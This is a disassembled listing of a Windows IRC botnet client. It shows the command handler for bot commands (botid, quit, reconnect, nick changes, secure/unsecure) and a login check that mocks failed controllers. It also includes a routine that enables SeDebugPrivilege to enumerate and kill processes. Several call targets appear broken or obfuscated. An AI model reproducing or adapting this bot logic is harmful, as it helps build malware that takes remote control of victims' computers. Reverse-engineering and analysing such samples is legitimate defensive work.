		jnz	short loc_414799
		mov	[ebp+var_46C], 1

loc_414799:				; CODE XREF: sub_40EE72+590Aj
					; sub_40EE72+591Bj
		lea	eax, [ebp+var_2DC]
		push	offset dword_42FE40
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1Fh
		push	eax
		call	sub_416D5C
		add	esp, 14h
		mov	[ebp+var_470], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4F4]
		push	ebx
		push	eax
		push	offset sub_41533B
		push	ebx
		push	ebx
		nop
		call	near ptr 2690AC4h
		mov	ecx, [ebp+var_470]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_414807

loc_4147F1:				; CODE XREF: sub_40EE72+5993j
		cmp	[ebp+var_460], ebx
		jnz	loc_414E11
		push	32h
		nop
		call	near ptr 2610E42h
		jmp	short loc_4147F1
; ---------------------------------------------------------------------------

loc_414807:				; CODE XREF: sub_40EE72+597Dj
		nop
		call	near ptr 2660AEBh
		push	eax
		push	offset unk_42FDF0
		jmp	loc_414E02
; ---------------------------------------------------------------------------

loc_414818:				; CODE XREF: sub_40EE72+1620j
					; sub_40EE72+1635j
		cmp	[ebp+var_8], ebx
		jnz	short loc_414837
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42FDC8
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h

loc_414837:				; CODE XREF: sub_40EE72+59A9j
		push	[ebp+arg_4]
		call	dword_43AE30
		call	dword_43ACF8
		call	sub_40AC42
		push	ebx
		call	near ptr 77E75CB5h
		nop

loc_414852:				; CODE XREF: sub_40EE72+15F6j
					; sub_40EE72+160Bj
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	eax
		call	sub_40B8D8
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		push	offset dword_42FDA0
		jmp	loc_4145BD
; ---------------------------------------------------------------------------

loc_414880:				; CODE XREF: sub_40EE72+14BCj
					; sub_40EE72+14D1j
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_40BB8C
		add	esp, 0Ch
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		push	offset dword_42FD78
		jmp	loc_4145BD
; ---------------------------------------------------------------------------

loc_4148B2:				; CODE XREF: sub_40EE72+1492j
					; sub_40EE72+14A7j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40C00D
		jmp	loc_40F236
; ---------------------------------------------------------------------------

loc_4148CB:				; CODE XREF: sub_40EE72+1468j
					; sub_40EE72+147Dj
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_388], bl
		jz	short loc_41490A
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_41490A
		push	esi
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41490A
		push	eax
		push	offset aS_1	; "%s"
		lea	eax, [ebp+var_388]
		push	80h
		push	eax
		call	sub_41782A
		add	esp, 10h

loc_41490A:				; CODE XREF: sub_40EE72+5A62j
					; sub_40EE72+5A6Dj ...
		push	[ebp+var_8C]
		lea	eax, [ebp+var_408]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_40C], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_304], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_300], eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_42FD50
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1Dh
		push	eax
		call	sub_416D5C
		add	esp, 14h
		mov	[ebp+var_308], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_40C]
		push	ebx
		push	eax
		push	offset sub_40C07F
		push	ebx
		push	ebx
		call	near ptr 2690AC4h
		nop
		mov	ecx, [ebp+var_308]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_4149AD

loc_414997:				; CODE XREF: sub_40EE72+5B39j
		cmp	[ebp+var_2FC], ebx
		jnz	loc_40F239
		push	32h
		nop
		call	near ptr 2610E42h
		jmp	short loc_414997
; ---------------------------------------------------------------------------

loc_4149AD:				; CODE XREF: sub_40EE72+5B23j
		nop
		call	near ptr 2660AEBh
		push	eax
		push	offset dword_42FD08
		jmp	loc_40F422
; ---------------------------------------------------------------------------

loc_4149BE:				; CODE XREF: sub_40EE72+143Ej
					; sub_40EE72+1453j
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40BEF5
		push	offset dword_42FCE0
		call	sub_40BF6D
		jmp	loc_41452A
; ---------------------------------------------------------------------------

loc_4149DE:				; CODE XREF: sub_40EE72+1414j
					; sub_40EE72+1429j
		push	[ebp+var_8C]
		lea	eax, [ebp+var_4F0]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_90]
		mov	[ebp+var_4F4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_468], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_464], eax
		jz	short loc_414A38
		push	offset dword_42FCDC
		push	esi
		call	sub_4176D0
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_46C], eax
		jmp	short loc_414A3E
; ---------------------------------------------------------------------------

loc_414A38:				; CODE XREF: sub_40EE72+5BAAj
		mov	[ebp+var_46C], ebx

loc_414A3E:				; CODE XREF: sub_40EE72+5BC4j
		lea	eax, [ebp+var_2DC]
		push	offset dword_42FCB0
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	20h
		push	eax
		call	sub_416D5C
		add	esp, 14h
		mov	[ebp+var_470], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4F4]
		push	ebx
		push	eax
		push	offset byte_416DC7
		push	ebx
		push	ebx
		nop
		call	near ptr 2690AC4h
		mov	ecx, [ebp+var_470]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_414AA8

loc_414A96:				; CODE XREF: sub_40EE72+5C34j
		cmp	[ebp+var_460], ebx
		jnz	short loc_414AC3
		push	32h
		nop
		call	near ptr 2610E42h
		jmp	short loc_414A96
; ---------------------------------------------------------------------------

loc_414AA8:				; CODE XREF: sub_40EE72+5C22j
		nop
		call	near ptr 2660AEBh
		push	eax
		push	offset dword_42FC68

loc_414AB4:				; CODE XREF: sub_40EE72+489Dj
					; sub_40EE72+49B9j
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		add	esp, 0Ch

loc_414AC3:				; CODE XREF: sub_40EE72+4527j
					; sub_40EE72+453Fj ...
		lea	eax, [ebp+var_2DC]
		push	eax
		jmp	loc_410654
; ---------------------------------------------------------------------------

loc_414ACF:				; CODE XREF: sub_40EE72+1398j
					; sub_40EE72+13ADj
		push	offset aBotid	; "botid"
		push	offset dword_42FC40
		jmp	short loc_414AED
; ---------------------------------------------------------------------------

loc_414ADB:				; CODE XREF: sub_40EE72+136Ej
					; sub_40EE72+1383j
		push	dword_4CD5F0
		call	sub_40B721
		pop	ecx
		push	eax
		push	offset dword_42FC04

loc_414AED:				; CODE XREF: sub_40EE72+5C67j
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 20h
		jmp	loc_4110FD
; ---------------------------------------------------------------------------

loc_414B1A:				; CODE XREF: sub_40EE72+1344j
					; sub_40EE72+1359j
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_414B4C
		cmp	[ebp+var_C], ebx
		jz	short loc_414B5B
		push	esi
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_414B5B
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		jmp	short loc_414B5B
; ---------------------------------------------------------------------------

loc_414B4C:				; CODE XREF: sub_40EE72+5CB1j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		pop	ecx
		pop	ecx

loc_414B5B:				; CODE XREF: sub_40EE72+5CB6j
					; sub_40EE72+5CC5j ...
		push	0FFFFFFFEh
		jmp	loc_40F23B
; ---------------------------------------------------------------------------

loc_414B62:				; CODE XREF: sub_40EE72+131Aj
					; sub_40EE72+132Fj
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		push	offset dword_42FBB4
		call	sub_40BF6D
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_40F23C
; ---------------------------------------------------------------------------

loc_414B84:				; CODE XREF: sub_40EE72+12F0j
					; sub_40EE72+1305j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		push	offset dword_42FB74
		call	sub_40BF6D
		add	esp, 0Ch
		xor	eax, eax
		jmp	loc_40F23C
; ---------------------------------------------------------------------------

loc_414BA5:				; CODE XREF: sub_40EE72+12C6j
					; sub_40EE72+12DBj
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_407110
		jmp	loc_412FF4
; ---------------------------------------------------------------------------

loc_414BBB:				; CODE XREF: sub_40EE72+1221j
					; sub_40EE72+1236j
		push	[ebp+esi+var_90]
		push	1Fh
		push	offset dword_42FB64
		push	offset dword_42FB58
		jmp	loc_40FED3
; ---------------------------------------------------------------------------

loc_414BD3:				; CODE XREF: sub_40EE72+11F7j
					; sub_40EE72+120Cj
		push	[ebp+esi+var_90]
		push	1Ch
		push	offset dword_42FB4C
		push	offset dword_42FB3C
		jmp	loc_40FED3
; ---------------------------------------------------------------------------

loc_414BEB:				; CODE XREF: sub_40EE72+1022j
					; sub_40EE72+1037j
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		jz	short loc_414C0A
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jz	short loc_414C0A
		push	edi
		call	sub_41781F
		pop	ecx
		jmp	short loc_414C0F
; ---------------------------------------------------------------------------

loc_414C0A:				; CODE XREF: sub_40EE72+5D82j
					; sub_40EE72+5D8Dj
		mov	eax, dword_42F5A8

loc_414C0F:				; CODE XREF: sub_40EE72+5D96j
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_478], eax
		cmp	esi, ebx
		jz	short loc_414C34
		push	esi

loc_414C21:				; CODE XREF: sub_40EE72+5DD1j
		lea	eax, [ebp+var_488]
		push	10h
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		jmp	short loc_414C4B
; ---------------------------------------------------------------------------

loc_414C34:				; CODE XREF: sub_40EE72+5DACj
		cmp	[ebp+var_9C7], bl
		jz	short loc_414C45
		lea	eax, [ebp+var_D8]
		push	eax
		jmp	short loc_414C21
; ---------------------------------------------------------------------------

loc_414C45:				; CODE XREF: sub_40EE72+5DC8j
		mov	[ebp+var_488], bl

loc_414C4B:				; CODE XREF: sub_40EE72+5DC0j
		mov	eax, [ebp+var_4]
		push	[ebp+var_8C]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_46C], eax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_468], eax
		lea	eax, [ebp+var_508]
		push	eax
		mov	[ebp+var_50C], esi
		call	sub_41782A
		add	esp, 0Ch
		push	[ebp+var_478]
		push	esi
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_42B75C
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	11h
		push	eax
		call	sub_416D5C
		add	esp, 1Ch
		mov	[ebp+var_474], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_50C]
		push	ebx
		push	eax
		push	offset sub_407FEA
		push	ebx
		push	ebx
		nop
		call	near ptr 2690AC4h
		mov	ecx, [ebp+var_474]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_414CFC

loc_414CE6:				; CODE XREF: sub_40EE72+5E88j
		cmp	[ebp+var_464], ebx
		jnz	loc_40F239
		push	32h
		nop
		call	near ptr 2610E42h
		jmp	short loc_414CE6
; ---------------------------------------------------------------------------

loc_414CFC:				; CODE XREF: sub_40EE72+5E72j
		call	near ptr 2660AEBh
		nop
		push	eax
		push	offset unk_42FAF4
		jmp	loc_40F422
; ---------------------------------------------------------------------------

loc_414D0D:				; CODE XREF: sub_40EE72+FCEj
					; sub_40EE72+FE3j ...
		push	edi
		push	offset aSecure	; "secure"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_414D35
		push	edi
		push	offset aSec	; "sec"
		call	sub_4176D0
		pop	ecx
		mov	[ebp+var_46C], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_414D3F

loc_414D35:				; CODE XREF: sub_40EE72+5EAAj
		mov	[ebp+var_46C], 1

loc_414D3F:				; CODE XREF: sub_40EE72+5EC1j
		push	[ebp+var_8C]
		lea	eax, [ebp+var_4F0]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		cmp	[ebp+var_46C], ebx
		mov	[ebp+var_4F4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_468], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_464], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_414D86
		mov	eax, offset aUnsecuring	; "Unsecuring"

loc_414D86:				; CODE XREF: sub_40EE72+5F0Dj
		push	eax
		push	offset dword_42FAA8
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41782A
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1Ah
		push	eax
		call	sub_416D5C
		add	esp, 1Ch
		mov	[ebp+var_470], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4F4]
		push	ebx
		push	eax
		push	offset sub_415F28
		push	ebx
		push	ebx
		nop
		call	near ptr 2690AC4h
		mov	ecx, [ebp+var_470]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_414DF6

loc_414DE4:				; CODE XREF: sub_40EE72+5F82j
		cmp	[ebp+var_460], ebx
		jnz	short loc_414E11
		push	32h
		call	near ptr 2610E42h
		nop
		jmp	short loc_414DE4
; ---------------------------------------------------------------------------

loc_414DF6:				; CODE XREF: sub_40EE72+5F70j
		nop
		call	near ptr 2660AEBh
		push	eax
		push	offset unk_42FA5C

loc_414E02:				; CODE XREF: sub_40EE72+3DA5j
					; sub_40EE72+4AC1j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		add	esp, 0Ch

loc_414E11:				; CODE XREF: sub_40EE72+2EB3j
					; sub_40EE72+3959j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		jmp	loc_40F428
; ---------------------------------------------------------------------------

loc_414E22:				; CODE XREF: sub_40EE72+FA4j
					; sub_40EE72+FB9j
		push	offset aAbosal7Tool ; "ABOSAL7 tool"
		push	offset dword_42FA3C
		jmp	loc_4110B1
; ---------------------------------------------------------------------------

loc_414E31:				; CODE XREF: sub_40EE72+F7Aj
					; sub_40EE72+F8Fj
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_414E91
		push	esi
		call	sub_41781F
		cmp	eax, ebx
		pop	ecx
		jl	short loc_414E86
		cmp	eax, 2
		jge	short loc_414E86
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_414E7B
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_432E04
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		mov	[esi], bl
		jmp	loc_410E57
; ---------------------------------------------------------------------------

loc_414E7B:				; CODE XREF: sub_40EE72+5FE8j
		push	eax
		push	offset dword_42FA00
		jmp	loc_410E48
; ---------------------------------------------------------------------------

loc_414E86:				; CODE XREF: sub_40EE72+5FD3j
					; sub_40EE72+5FD8j
		push	eax
		push	offset dword_42F9C4
		jmp	loc_410E48
; ---------------------------------------------------------------------------

loc_414E91:				; CODE XREF: sub_40EE72+5FC8j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_414E96:				; CODE XREF: sub_40EE72+6040j
		push	[ebp+var_94]
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_414EB9
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_414E96
		jmp	loc_410E57
; ---------------------------------------------------------------------------

loc_414EB9:				; CODE XREF: sub_40EE72+6034j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset dword_432E04
		jmp	loc_410E48
; ---------------------------------------------------------------------------

loc_414ED3:				; CODE XREF: sub_40EE72+F50j
					; sub_40EE72+F65j
		push	[ebp+var_90]
		push	offset dword_432D74
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_414F47
		call	sub_416F25
		push	ebx
		call	near ptr 77E75CB5h
		nop

loc_414EF5:				; CODE XREF: sub_40EE72+F26j
					; sub_40EE72+F3Bj
		push	[ebp+esi+var_90]
		xor	eax, eax
		cmp	[ebp+var_9B8], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_928]
		push	dword_42F5CC
		push	eax
		call	sub_415D01
		add	esp, 10h
		lea	eax, [ebp+var_928]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		lea	eax, [ebp+var_928]
		push	eax
		push	offset dword_42F990

loc_414F40:				; CODE XREF: sub_40EE72+4344j
					; sub_40EE72+49D7j ...
		call	sub_40BFE1
		pop	ecx

loc_414F46:				; CODE XREF: sub_40EE72+17E7j
		pop	ecx

loc_414F47:				; CODE XREF: sub_40EE72+65Fj
					; sub_40EE72+66Bj ...
		mov	eax, [ebp+arg_24]
		jmp	loc_40F23C
; ---------------------------------------------------------------------------

loc_414F4F:				; CODE XREF: sub_40EE72+B28j
					; sub_40EE72+B3Bj
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		mov	[ebp+arg_0], esi
		jz	loc_40F239
		cmp	[ebp+var_AC], ebx
		jnz	loc_40F239
		push	offset asc_432E80 ; "!"
		push	[ebp+var_94]
		call	sub_418B6E
		mov	esi, eax
		push	offset dword_436EF4
		push	ebx
		inc	esi
		call	sub_418B6E
		push	offset asc_42F98C ; "~"
		push	eax
		call	sub_418B6E
		push	[ebp+arg_0]
		mov	edi, eax
		push	offset aCool	; "cool"
		call	sub_4176D0
		add	esp, 20h
		test	eax, eax
		jz	short loc_414FEE
		lea	eax, [ebp+var_D8]
		push	edi
		push	eax
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 14h
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset dword_42F904
		jmp	loc_40F813
; ---------------------------------------------------------------------------

loc_414FEE:				; CODE XREF: sub_40EE72+6138j
		mov	[ebp+arg_24], offset off_42F6C4

loc_414FF5:				; CODE XREF: sub_40EE72+619Fj
		mov	eax, [ebp+arg_24]
		push	edi
		push	dword ptr [eax]
		call	sub_4170B5
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_415055
		add	[ebp+arg_24], 4
		cmp	[ebp+arg_24], offset off_42F6C8
		jb	short loc_414FF5
		lea	eax, [ebp+var_D8]
		push	edi
		push	eax
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 14h
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset dword_42F8C8
		jmp	loc_40F813
; ---------------------------------------------------------------------------

loc_415055:				; CODE XREF: sub_40EE72+6192j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_41505A:				; CODE XREF: sub_40EE72+6212j
		cmp	[ebp+arg_0], ebx
		jz	loc_40F239
		cmp	[edi], bl
		jnz	short loc_41507A
		push	[ebp+arg_0]
		push	offset aCool	; "cool"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41508B

loc_41507A:				; CODE XREF: sub_40EE72+61F3j
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_41505A
		jmp	loc_40F239
; ---------------------------------------------------------------------------

loc_41508B:				; CODE XREF: sub_40EE72+6206j
		shl	esi, 7
		add	esi, [ebp+arg_18]
		lea	eax, [ebp+var_AA8]
		push	7Fh
		push	eax
		push	esi
		call	sub_418C10
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4150C2
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42F89C
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h

loc_4150C2:				; CODE XREF: sub_40EE72+6234j
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset dword_42F86C
		jmp	loc_40F422
; ---------------------------------------------------------------------------

loc_4150D3:				; CODE XREF: sub_40EE72+20Ej
					; sub_40EE72+223j
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		push	offset aXi	; "+xi"
		push	[ebp+arg_10]
		push	offset aModeSS	; "MODE	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 10h
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 10h
		mov	dword_4CD76C, edi
		jmp	loc_40F10F
sub_40EE72	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41511F	proc near		; CODE XREF: sub_409037+45p
					; sub_409037+166p ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		nop
		call	near ptr 27A0951h
		push	eax
		call	dword_43AD7C
		test	eax, eax
		jnz	short loc_41513E
		leave
		retn
; ---------------------------------------------------------------------------

loc_41513E:				; CODE XREF: sub_41511F+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_43AD54
		test	eax, eax
		jz	short loc_41517C
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_415165
		or	[ebp+var_8], 2
		jmp	short loc_415169
; ---------------------------------------------------------------------------

loc_415165:				; CODE XREF: sub_41511F+3Ej
		and	[ebp+var_8], 0FFFFFFFDh

loc_415169:				; CODE XREF: sub_41511F+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_43AE04
		mov	esi, eax

loc_41517C:				; CODE XREF: sub_41511F+32j
		push	[ebp+var_4]
		call	near ptr 2640811h
		nop
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41511F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41518A	proc near		; CODE XREF: sub_40EE72+4B66p
					; sub_41533B+74p

var_550		= byte ptr -550h
var_350		= dword	ptr -350h
var_34C		= byte ptr -34Ch
var_230		= byte ptr -230h
var_12C		= dword	ptr -12Ch
var_128		= byte ptr -128h
var_124		= dword	ptr -124h
var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 550h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	dword_43ADB8, ebx
		lea	edi, [ebp+var_128]
		mov	[ebp+var_12C], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_34C]
		mov	[ebp+var_350], ebx
		rep stosd
		jz	loc_415334
		cmp	dword_43AD9C, ebx
		jz	loc_415334
		cmp	dword_43ACB8, ebx
		jz	loc_415334
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_41511F
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_43ADB8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_415327
		lea	eax, [ebp+var_12C]
		mov	[ebp+var_12C], 128h
		push	eax
		push	[ebp+var_4]
		call	dword_43AD9C
		mov	esi, dword_424078
		test	eax, eax
		jz	loc_415322

loc_41522D:				; CODE XREF: sub_41518A+BEj
					; sub_41518A+CCj ...
		lea	eax, [ebp+var_12C]
		push	eax
		push	[ebp+var_4]
		call	dword_43ACB8
		test	eax, eax
		jz	loc_415322
		cmp	[ebp+arg_10], ebx
		jnz	short loc_41522D
		cmp	[ebp+arg_C], ebx
		jnz	loc_4152DA
		cmp	[ebp+arg_4], ebx
		jz	short loc_41522D
		push	[ebp+var_124]
		push	8
		call	dword_43ADB8
		cmp	[ebp+arg_14], ebx
		mov	edi, eax
		mov	[ebp+var_350], 224h
		jz	short loc_415297
		lea	eax, [ebp+var_350]
		push	eax
		push	edi
		call	dword_43AC64
		push	[ebp+var_124]
		test	eax, eax
		jz	short loc_41529D
		lea	eax, [ebp+var_230]
		jmp	short loc_4152A3
; ---------------------------------------------------------------------------

loc_415297:				; CODE XREF: sub_41518A+EBj
		push	[ebp+var_124]

loc_41529D:				; CODE XREF: sub_41518A+103j
		lea	eax, [ebp+var_108]

loc_4152A3:				; CODE XREF: sub_41518A+10Bj
		push	eax
		lea	eax, [ebp+var_550]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_4172B0
		add	esp, 10h
		lea	eax, [ebp+var_550]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h
		push	edi
		call	esi
		jmp	loc_41522D
; ---------------------------------------------------------------------------

loc_4152DA:				; CODE XREF: sub_41518A+C3j
		push	[ebp+arg_C]
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41522D
		push	[ebp+var_124]
		push	ebx
		push	1F0FFFh
		nop
		call	near ptr 2730591h
		push	[ebp+var_4]
		mov	edi, eax
		call	esi
		push	ebx
		push	edi
		nop
		call	near ptr 27F0AC7h
		test	eax, eax
		jnz	short loc_41531D
		push	edi
		call	esi
		jmp	short loc_415334
; ---------------------------------------------------------------------------

loc_41531D:				; CODE XREF: sub_41518A+18Cj
		push	1
		pop	eax
		jmp	short loc_415336
; ---------------------------------------------------------------------------

loc_415322:				; CODE XREF: sub_41518A+9Dj
					; sub_41518A+B5j
		push	[ebp+var_4]
		call	esi

loc_415327:				; CODE XREF: sub_41518A+75j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_41511F
		pop	ecx
		pop	ecx

loc_415334:				; CODE XREF: sub_41518A+3Aj
					; sub_41518A+46j ...
		xor	eax, eax

loc_415336:				; CODE XREF: sub_41518A+196j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41518A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41533B	proc near		; DATA XREF: sub_40EE72+595Co

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset unk_432F04
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_4172B0
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_41539A
		push	esi
